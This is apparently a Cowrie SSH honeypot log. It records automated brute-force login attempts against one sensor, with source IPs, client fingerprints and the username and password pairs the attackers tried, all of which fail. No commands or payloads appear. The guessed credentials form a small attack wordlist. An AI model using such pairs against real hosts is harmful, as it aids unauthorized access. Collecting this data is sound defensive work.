{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:52.611263Z","src_ip":"192.109.200.78","session":"02f1ae0490a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"t0talc0ntr0l4!","message":"login attempt [root/t0talc0ntr0l4!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:52.857104Z","src_ip":"192.109.200.78","session":"02f1ae0490a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:54.055482Z","src_ip":"192.109.200.78","session":"02f1ae0490a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":60476,"dst_ip":"159.203.135.109","dst_port":22,"session":"582ca7b90072","protocol":"ssh","message":"New connection: 176.65.139.95:60476 (159.203.135.109:22) [session: 582ca7b90072]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:56.265734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:56.270316Z","src_ip":"176.65.139.95","session":"582ca7b90072","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:56.352920Z","src_ip":"176.65.139.95","session":"582ca7b90072","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":35354,"dst_ip":"159.203.135.109","dst_port":22,"session":"53ba3f62673e","protocol":"ssh","message":"New connection: 192.109.200.78:35354 (159.203.135.109:22) [session: 53ba3f62673e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:56.382533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:56.390084Z","src_ip":"192.109.200.78","session":"53ba3f62673e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:56.476310Z","src_ip":"192.109.200.78","session":"53ba3f62673e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@wsx","message":"login attempt [root/1qaz@wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:56.635403Z","src_ip":"176.65.139.95","session":"582ca7b90072","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123456","message":"login attempt [developer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:56.721226Z","src_ip":"192.109.200.78","session":"53ba3f62673e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:57.750605Z","src_ip":"176.65.139.95","session":"582ca7b90072","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:57.857564Z","src_ip":"192.109.200.78","session":"53ba3f62673e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55402,"dst_ip":"159.203.135.109","dst_port":22,"session":"4498721fa418","protocol":"ssh","message":"New connection: 192.109.200.78:55402 (159.203.135.109:22) [session: 4498721fa418]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:00.533407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:00.539810Z","src_ip":"192.109.200.78","session":"4498721fa418","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:00.637249Z","src_ip":"192.109.200.78","session":"4498721fa418","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daniel","password":"daniel","message":"login attempt [daniel/daniel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:00.894289Z","src_ip":"192.109.200.78","session":"4498721fa418","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:01.981013Z","src_ip":"192.109.200.78","session":"4498721fa418","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":50654,"dst_ip":"159.203.135.109","dst_port":22,"session":"4cde72d4968f","protocol":"ssh","message":"New connection: 176.65.139.95:50654 (159.203.135.109:22) [session: 4cde72d4968f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:02.152107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:02.161639Z","src_ip":"176.65.139.95","session":"4cde72d4968f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:02.247971Z","src_ip":"176.65.139.95","session":"4cde72d4968f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hu","password":"123456","message":"login attempt [hu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:02.821416Z","src_ip":"176.65.139.95","session":"4cde72d4968f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:03.953366Z","src_ip":"176.65.139.95","session":"4cde72d4968f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55406,"dst_ip":"159.203.135.109","dst_port":22,"session":"830e34cce8a2","protocol":"ssh","message":"New connection: 192.109.200.78:55406 (159.203.135.109:22) [session: 830e34cce8a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:04.492768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:04.497622Z","src_ip":"192.109.200.78","session":"830e34cce8a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:04.583426Z","src_ip":"192.109.200.78","session":"830e34cce8a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranga","password":"ranga","message":"login attempt [ranga/ranga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:05.139027Z","src_ip":"192.109.200.78","session":"830e34cce8a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:06.289664Z","src_ip":"192.109.200.78","session":"830e34cce8a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57402,"dst_ip":"159.203.135.109","dst_port":22,"session":"dcaa1a253759","protocol":"ssh","message":"New connection: 159.203.92.129:57402 (159.203.135.109:22) [session: dcaa1a253759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:07.639990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:07.645015Z","src_ip":"159.203.92.129","session":"dcaa1a253759","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:07.650024Z","src_ip":"159.203.92.129","session":"dcaa1a253759","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Mawenjuan","password":"123456","message":"login attempt [Mawenjuan/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:07.663805Z","src_ip":"159.203.92.129","session":"dcaa1a253759","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":50664,"dst_ip":"159.203.135.109","dst_port":22,"session":"127a1b8859de","protocol":"ssh","message":"New connection: 176.65.139.95:50664 (159.203.135.109:22) [session: 127a1b8859de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:08.040825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:08.254801Z","src_ip":"176.65.139.95","session":"127a1b8859de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:08.260087Z","src_ip":"176.65.139.95","session":"127a1b8859de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46378,"dst_ip":"159.203.135.109","dst_port":22,"session":"131a3f17fe27","protocol":"ssh","message":"New connection: 192.109.200.78:46378 (159.203.135.109:22) [session: 131a3f17fe27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:08.472784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:08.478312Z","src_ip":"192.109.200.78","session":"131a3f17fe27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:16:08.563507Z","src_ip":"192.109.200.78","session":"131a3f17fe27","protocol":"ssh"}
